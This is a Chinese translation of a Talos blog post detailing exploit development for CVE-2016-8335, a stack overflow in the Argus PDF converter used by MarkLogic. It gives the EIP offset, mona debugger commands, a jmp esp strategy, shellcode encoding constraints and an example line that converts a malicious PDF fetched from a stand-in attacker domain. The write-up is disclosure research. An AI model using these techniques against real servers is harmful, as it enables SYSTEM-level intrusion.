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深度剖析：通过 Argus PDF 转换器实现的 MarkLogic 漏
洞攻击过程 
本博文由 Marcin Noga 撰写。特别感谢 William Largent 提供的建议。 
 
 
 
 
 
Talos 致力于发现各种软件漏洞，并本着负责任的态度定期披露这些漏洞。有时，我们会发

布一些深度技术分析文章来讲解如何发现漏洞或其潜在影响。在以前的博文中，Talos 曾对

Lexmark Perceptive 文档过滤器进行深度剖析。本文将侧重于 MarkLogic 使用的另一个工具 - 
Argus PDF 转换器。该工具位于“Converters/cvtpdf”文件夹下，用于将 PDF 文件转换为基

于 XML 的格式。本文将包含技术方面的内容，包括通过 Argus PDF 转换器发现漏洞并利用

漏洞的过程。 
 

 
 

这对 MarkLogic 到底有何影响？ 
 
 
在深入阅读之前，请先观看下面的视频。这段视频演示了 Windows 环境下对 Marklogic 8.0-5.5 
进行的远程代码执行测试，最终结果是获得了“系统”级权限！  

https://www.talosintelligence.com/vulnerability_info
http://blog.talosintelligence.com/2017/06/lexmark-perceptive-vuln-deep-dive.html
http://blog.talosintelligence.com/2017/06/lexmark-perceptive-vuln-deep-dive.html
https://3.bp.blogspot.com/-uxJVQc5uTj4/WbmPf4kq0II/AAAAAAAAATQ/iqQ9ghLLsQQKNG-GnZ3V0NjuYA2i2PAVwCLcBGAs/s1600/1.jpg


 
通过使用 Argus PDF 的 dll 文件和转换器二进制文件，我们可以在 Marklogic 目录的以下位

置找到该转换器： 

 
 
 
那么，我们要如何才能强制 MarkLogic 使用该转换器呢？每当 Marklogic 使用 XDMP API
“pdf-convert”时，就会使用该转换器。 
 
从该 API 的文档描述中，我们了解看到以下信息： 

将 PDF 文件转换为 XHTML 格式。返回多个节点，包括一个 parts 节点、转换文档 xml 节
点，以及任何其他文档部分（例如 css 文件和图像）。第一个节点为 parts 节点，其中包含

转换后生成的所有部分的列表。 
 
使用示例 - 我们尝试对一个来自不可信来源的 PDF 文档执行转换操作： 
 
 
xdmp:pdf-convert( xdmp:document-
get("http://evildomain.localhost.com/malicious.pdf"), "malicious.pdf" ) 
 
 
当 MarkLogic 调用前面提到的“pdf-convert”API 时，MarkLogic 守护进程将启动

“convert”二进制文件，并使用 Argus.dll 将 PDF 转换为 (x)html 格式。 

 

https://docs.marklogic.com/xdmp:pdf-convert
https://docs.marklogic.com/xdmp:pdf-convert
https://docs.marklogic.com/xdmp:pdf-convert
https://3.bp.blogspot.com/-11jrj8D7uh4/WbmPu66drpI/AAAAAAAAATU/ERMTdxSSIzUAH8A9drBh6JnxnZbcbMRggCLcBGAs/s1600/2.png


更严重的影响 
 
 
正如上面的漏洞攻击示例中提到的那样，在较新版本的 Windows 版 MarkLogic 中，

“convert”组件是由 MarkLogic 启动的，而且在这个过程中权限不会降低，所以“convert”
组件会以“系统”级权限执行转换任务！这将大大增加漏洞攻击成功的潜在影响，因为攻击

者会自动获得最高级别的系统权限。 

 
 

 

漏洞渗透测试 
 
 
在对该产品进行研究的过程中，Talos 在 Iceni Argus PDF 库中发现了多个漏洞。在本文中，

我们将使用 CVE-2016-8335 (TALOS-2016-0202) Iceni Argus ipNameAdd 代码执行漏洞来

演示漏洞攻击过程，这是一个传统的、基于堆栈的缓冲区溢出漏洞。 
 

https://www.talosintelligence.com/reports/TALOS-2016-0202
http://blog.talosintelligence.com/2016/10/iceni-argus.html
https://4.bp.blogspot.com/-RgeZWAfKuUw/WbmP5_FUSUI/AAAAAAAAATY/uWME40C5eRAp9zRvD7Hn9ENR3NF5RePQgCLcBGAs/s1600/3.png


Linux 版本 
 
 
首先，我们来了解一下该转换器的 Linux 版本在转换恶意 PDF 文件时是如何工作的： 

 
 
 
在这种情况下，“convert”库已使用安全 Cookie 进行编译，可以增加漏洞攻击的难度，不

过需要指出的是，这种保护机制在某些情况下可以被绕过。在 Talos 成员 Aleksander Nikolic 
编写的绕过 MiniUPnP 堆栈粉碎保护一文中，就有一个很好的例子。 
 
 
存在安全 Cookie 及校验和确认： 

 

http://blog.talosintelligence.com/2016/01/bypassing-miniupnp-stack-smashing.html
https://4.bp.blogspot.com/-xOc0ZF_i1es/WbmQDKchdlI/AAAAAAAAATc/pIW80wTBWyk6IwinEj0uXm5cCtEDox5tACLcBGAs/s1600/4.png
https://2.bp.blogspot.com/-ltKVOSEIBig/WbmQMyULOWI/AAAAAAAAATg/y6EqxPYqH4wB2R4quQyBHHwl2WemLOQXACLcBGAs/s1600/5.png


 
在这里也可以看出，“convert”可执行文件不支持地址空间布局随机化 (ASLR)。 

注意：在 linux 版转换器中，Argus 库已使用“convert”应用进行静态编译。 

 
Windows 版本 
 
下面，我们来看该转换器的 Windows 版本： 

 
 
 
很好，没有任何堆栈 Cookie 保护，可以毫不费力地进行漏洞攻击。有关漏洞分类过程的更多

信息，请参阅此处提供的具体建议。下面的步骤概括说明了存在漏洞的具体代码，以及如何触

发该漏洞。 

 
利用漏洞的步骤 
 
 
1. 函数“ipNameAdd”中存在漏洞。 

https://www.talosintelligence.com/vulnerability_reports/TALOS-2016-0202
https://3.bp.blogspot.com/-wKwejB_16Dw/WbmQYDZQIHI/AAAAAAAAATk/XR1F0CpPycUod4nmAgLgtEdhYZJZW3DZwCLcBGAs/s1600/6.png


2. 存在漏洞的代码具体如下： 

 

第 12 行包含存在错误的 strcpy 调用 

 
3. 攻击者创建不是常规“Name 对象”的“token”（数据类型可以是“整数”、“浮点数”

或“十六进制字符串”），即可触发基于栈的缓冲区溢出漏洞，从而执行任意代码。 
4. 示例 PDF 触发此漏洞。 

 
 
5. 溢出的“字符串”/字节链可以包含 [0x21-0xff] 范围内（除 0x80 外）的所有字符。 
 
现在，我们已经掌握了所有必要的信息，可以开始进入漏洞攻击过程了。 

 
漏洞攻击 
循环模式 
 
覆盖 RET 地址需要多少字节？ 
 
我们将使用带有 mona.py 插件的 Immunity Debugger 来确定这一点，然后生成循环模式，并

替换 PDF 中造成溢出的“AAAA...”字符串。  

https://3.bp.blogspot.com/-q5id7DcFQZ8/WbmQlSJTk_I/AAAAAAAAATo/bPgoxHxkpXgPfLOEE2m63YtG48CHtE1lQCLcBGAs/s1600/7.png
https://4.bp.blogspot.com/-Wk2zHc4d9fE/WbmQ5B7CUqI/AAAAAAAAATs/XjXvIFy__loXHvRa4tP2BBE13LiVAU94gCLcBGAs/s1600/8.png


 
 
 
重新运行转换器应用： 

 
 

https://4.bp.blogspot.com/-if54pHaBFqA/WbmRG55WoiI/AAAAAAAAATw/dHVQQ4LJ-UEIsZ4jfeugLef_z1Qukz2dACLcBGAs/s1600/9.png
https://3.bp.blogspot.com/--dFA9yjbrfw/WbmRdTYpsPI/AAAAAAAAAT4/h9WbtmRKmZQLPoQ8xqSWYBWNh250d0yAgCLcBGAs/s1600/10.png


好极了！通过“!mona pattern_offset (po) eip”命令，我们成功地利用循环缓冲区覆盖了 
EIP。我们获得了所需的信息：EIP 值位于偏移值 260。 
 
我们可以尝试用我们控制的值来覆盖 EIP，以检验漏洞攻击能否成功： 

 
 

制定漏洞攻击策略 
 
 
我们已经有了漏洞攻击方案，而且能够控制 EIP，接下来我们要分析加载的模型和实施的缓

解措施，以确定如何能让漏洞攻击成功得手。 

没有缓解措施？！没有数据执行保护 (DEP)！！！ 
 
 
这不是真的吧？可执行文件不支持 DEP/ASLR，所以这些模块没有使用这两种保护机制。这

意味着，我们可以一边欣赏上世纪 90 年代的经典老歌，一边重温经典的 direct-ret jmp esp 
漏洞攻击的魅力。要知道，现在可是 2017 年了！  

 
 

https://1.bp.blogspot.com/-Rzyd5pL6_fs/WbmRNmgHR6I/AAAAAAAAAT0/iFfopeZVL0QboVVS2R6JFGnvfs98txqzgCEwYBhgL/s1600/11.png
https://1.bp.blogspot.com/-mpMnhgKkqlA/WbmRwopTo0I/AAAAAAAAAT8/uEMgZsrqvvQZ0rTNWMSoCG6-2kNO9iN8gCLcBGAs/s1600/13.jpg


Direct-RET 方法 
 
 
通常，我们只需要找到“jmp esp”指令，并记住限制条件：  

 
 
 
之所以使用“-x *”，是因为我们不用在意页面是否设置了“X（可执行）”权限。我们所使

用的指针也有一些限制，不过为了简化操作，我们把它限制为“-cp alphanum”并抛出“-
cpb \x20”。 

 
生成 Shellcode 
 
在生成 Shellcode 时，我们仍使用相同的限制条件： 

 
 
 
 

https://1.bp.blogspot.com/-Vz9RXY6S4mw/WbmR60st3TI/AAAAAAAAAUA/lMUqr2nnTnEbavYPvGLmX_7Hpy90DES0ACLcBGAs/s1600/14.jpg
https://4.bp.blogspot.com/-EW17ns82ue4/WbmSJqDl4PI/AAAAAAAAAUE/zzTlXlAVOJ4icE1V-NsteIZk5SD50yUxwCLcBGAs/s1600/15.jpg


这里需要指出的是，我们需要告诉编码器 Shellcode 的起始地址。在我们的示例中，该地址

位于 ESP 寄存器中，我们通过“BufferRegister=ESP”指令把这个信息传递给编码器。  

 
概念验证 
 
 
现在，我们就能测试我们的漏洞攻击了： 

 
 

总结 
 
 
此次深度剖析清晰地介绍了发现漏洞以及将其转化为可用漏洞的过程。不过，存在漏洞并不

意味着它可以轻易地成为漏洞攻击的武器，在大多数情况下，将漏洞变为攻击武器需要经历

一番曲折。但是一旦漏洞可以成为武器，就能让漏洞的价值大大增加（具体视实际漏洞攻击

所需的方法而定）。思科 Talos 将继续努力发现漏洞，并本着负责任的态度定期披露这些漏

洞，敬请关注我们的更多深度剖析文章。 
 
 
 
发布者：WILLIAM LARGENT；发布时间：3:38 PM  
标签：深度剖析、漏洞攻击、TALOS、漏洞发现、漏洞研究 

 

https://www.blogger.com/profile/12206979422726316011
http://blog.talosintelligence.com/2017/09/deep-dive-marklogic-exploitation.html
http://blog.talosintelligence.com/search/label/deep%20dive
http://blog.talosintelligence.com/search/label/exploitation
http://blog.talosintelligence.com/search/label/Talos
http://blog.talosintelligence.com/search/label/vuln%20dev
http://blog.talosintelligence.com/search/label/Vulnerability%20Research
https://1.bp.blogspot.com/-eCB4UKWMYvU/WbmSTKGC45I/AAAAAAAAAUI/njZV1C06WToNpyRf3AyBsvKF_lx1qgVFQCLcBGAs/s1600/16.jpg
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